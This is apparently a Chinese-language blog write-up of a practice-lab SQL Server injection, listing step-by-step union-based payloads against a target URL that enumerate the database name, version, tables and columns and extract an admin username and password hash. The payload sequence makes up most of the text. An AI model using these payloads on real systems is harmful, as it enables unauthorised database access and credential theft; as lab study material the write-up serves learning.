sql server注入
sql server与mysql有一定的区别
sql server的库名:db_name(),版本:@@version,@@servername,当前用户:user
没有加括号;
然后还有就是在查表的时候,在需要的位置加上()括号里面加上语句即可;
http://219.153.49.228:41094/new_list.asp?id=2
可能会用到:
admin adminuser user pass password
1.用order by 进行测试
http://219.153.49.228:41094/new_list.asp?id=2 order by 1,2
区别于sql 这里查询需要用 union all select
http://219.153.49.228:41094/new_list.asp?id=-2 union all select 1,2,'3',4
因为order by 1,2,3的时候报错,然后到4的时候又正确,说明有可能没有第三或者第三是需要加''
对显示的1,2进行注入
database(),version()
http://219.153.49.228:41094/new_list.asp?id=-2 union all select 1,db_name(),'3',4
库名:db_name():mozhe_db_v2
版本:@@version:SQL Server 2005 - 9.00.1399.06
@@servername:Sql server的本地服务器名称:MOBAN9527\SQLEXPRESS
当前用户:user:dbo
4.进行查表
union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4
where xtype='u'的意思是U代表数据表
结果:manage,sysrowsetcolumns
5.查找字段limit 1,1
(select top 1 col_name(object_id('manage'),1) from sysobjects)
结果:id,username,password
(select top 1 col_name(object_id('sysrowsetcolumns'),1) from sysobjects)
获取表manage的字段的信息
1.获取账号
union all select 1,(select top 1 username from manage),null,null
username:admin_mz
获取id
(select top 1 id from manage)
id=1
获取密码
(select top 1 password from manage)
密码:72e1bfc3f01b7583
进行加解密获取密码
注意:大家都知道在数据库中有一个系统表sysobjects,里面存储了数据库各个对象的信息。
可以查询下看看结果。可以看出每个对象都有一个ID,这个表存储了表,存储过程,触发器,视图等相关信息。注意:字段没有。
object_id就是根据对象名称返回该对象的id.
object_name是根据对象id返回对象名称.
select object_id(对象名)等同于:
select id from sysobjects where name=对象名
select object_name(id号)等同于:
select name from sysobjects where id=id号

浙公网安备 33010602011771号